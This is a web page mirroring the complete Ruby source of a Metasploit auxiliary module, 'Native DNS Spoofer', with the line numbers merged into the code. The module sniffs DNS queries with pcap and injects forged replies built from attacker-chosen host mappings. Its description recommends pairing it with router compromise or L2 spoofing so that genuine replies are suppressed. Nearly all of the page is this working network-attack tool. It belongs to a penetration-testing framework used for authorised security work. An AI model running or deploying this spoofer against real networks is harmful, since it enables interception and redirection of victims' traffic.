Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/spoof/dns/native_spoofer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Auxiliary78include Msf::Exploit::Capture9include Msf::Exploit::Remote::DNS::Client10include Msf::Exploit::Remote::DNS::Server1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Native DNS Spoofer (Example)',17'Description' => %q{18This module provides a Rex based DNS service to resolve queries intercepted19via the capture mixin. Configure STATIC_ENTRIES to contain host-name mappings20desired for spoofing using a hostsfile or space/semicolon separated entries.21In the default configuration, the service operates as a normal native DNS server22with the exception of consuming from and writing to the wire as opposed to a23listening socket. Best when compromising routers or spoofing L2 in order to24prevent return of the real reply which causes a race condition. The method25by which replies are filtered is up to the user (though iptables works fine).26},27'Author' => 'RageLtMan <rageltman[at]sempervictus>',28'License' => MSF_LICENSE,29'References' => [],30'Actions' => [31[ 'Service', { 'Description' => 'Serve DNS entries' } ]32],33'PassiveActions' => [34'Service'35],36'DefaultAction' => 'Service',37'Notes' => {38'Reliability' => [],39'SideEffects' => [],40'Stability' => []41}42)43)4445register_options(46[47OptString.new('FILTER', [false, 'The filter string for capturing traffic', 'dst port 53']),48OptAddress.new('SRVHOST', [true, 'The local host to listen on for DNS services.', '127.0.2.2'])49]50)5152deregister_options('PCAPFILE')53end5455#56# Wrapper for service execution and cleanup57#58def run59start_service60capture_traffic61service.wait62rescue Rex::BindFailed => e63print_error "Failed to bind to port #{datastore['RPORT']}: #{e.message}"64end6566def cleanup67super68@capture_thread.kill if @capture_thread69close_pcap70end7172#73# Generates reply with src and dst reversed74# Maintains original packet structure, proto, etc, changes ip_id75#76def reply_packet(pack)77rep = pack.dup78rep.eth_dst, rep.eth_src = rep.eth_src, rep.eth_dst79rep.ip_dst, rep.ip_src = rep.ip_src, rep.ip_dst80if pack.is_udp?81rep.udp_dst, rep.udp_src = rep.udp_src, rep.udp_dst82else83rep.tcp_dst, rep.tcp_src = rep.tcp_src, rep.tcp_dst84end85rep.ip_id = StructFu::Int16.new(rand(2**16))86return rep87end8889#90# Configures capture and handoff91#92def capture_traffic93check_pcaprub_loaded94::Socket.do_not_reverse_lookup = true # Mac OS X workaround95open_pcap({ 'FILTER' => datastore['FILTER'] })96@capture_thread = Rex::ThreadFactory.spawn('DNSSpoofer', false) do97each_packet do |pack|98begin99parsed = PacketFu::Packet.parse(pack)100rescue StandardError => e101vprint_status('PacketFu could not parse captured packet')102elog('PacketFu could not parse captured packet', error: e)103end104105begin106reply = reply_packet(parsed)107service.dispatch_request(reply, parsed.payload)108rescue StandardError => e109vprint_status('Could not process captured packet')110elog('Could not process captured packet', error: e)111end112end113end114end115116#117# Creates Proc to handle incoming requests118#119def on_dispatch_request(cli, data)120return unless cli.is_a?(PacketFu::Packet)121122peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)123124# Deal with non DNS traffic125begin126req = Packet.encode_drb(data)127rescue StandardError => e128print_error("Could not decode payload segment of packet from #{peer}, check log")129dlog e.backtrace130return131end132133answered = []134# Find cached items, remove request from forwarded packet135req.question.each do |ques|136cached = service.cache.find(ques.qname, ques.qtype.to_s)137if cached.empty?138next139else140cached.each do |subcached|141req.add_answer(subcached) unless req.answer.include?(subcached)142end143144answered << ques145end146end147148if (answered.count < req.question.count) && service.fwd_res149if req.header.rd == 0150vprint_status("Recursion forbidden in query for #{req.question.first.name} from #{peer}")151else152forward = req.dup153forward.question.delete_if { |question| answered.include?(question) }154begin155forwarded = service.fwd_res.send(Packet.validate(forward))156rescue NoResponseError157vprint_error('Did not receive a response')158return159end160161unless service.cache.nil?162forwarded.answer.each do |ans|163rstring = ans.respond_to?(:address) ? "#{ans.name}:#{ans.address}" : ans.name164vprint_status("Caching response #{rstring} #{ans.type}")165service.cache.cache_record(ans)166end167end168169# Merge the answers and use the upstream response170req.answer.each do |answer|171forwarded.add_answer(answer) unless forwarded.answer.include?(answer)172end173req = forwarded174end175end176177req.header.qr = true178service.send_response(cli, req.encode)179end180181#182# Creates Proc to handle outbound responses183#184def on_send_response(cli, data)185return unless cli.is_a?(PacketFu::Packet)186187cli.payload = data188cli.recalc189inject cli.to_s190sent_info(cli, data) if datastore['VERBOSE']191end192193#194# Prints information about spoofed packet after injection to reduce latency of operation195# Shown to improve response time by >50% from ~1ms -> 0.3-0.4ms196#197def sent_info(cli, data)198net = Packet.encode_net(data)199peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)200asked = net.question.map { |q| q.qName.delete_suffix('.') }.join(', ')201vprint_good("Sent packet with header:\n#{cli.inspect}")202vprint_good("Spoofed records for #{asked} to #{peer}")203end204205end206207208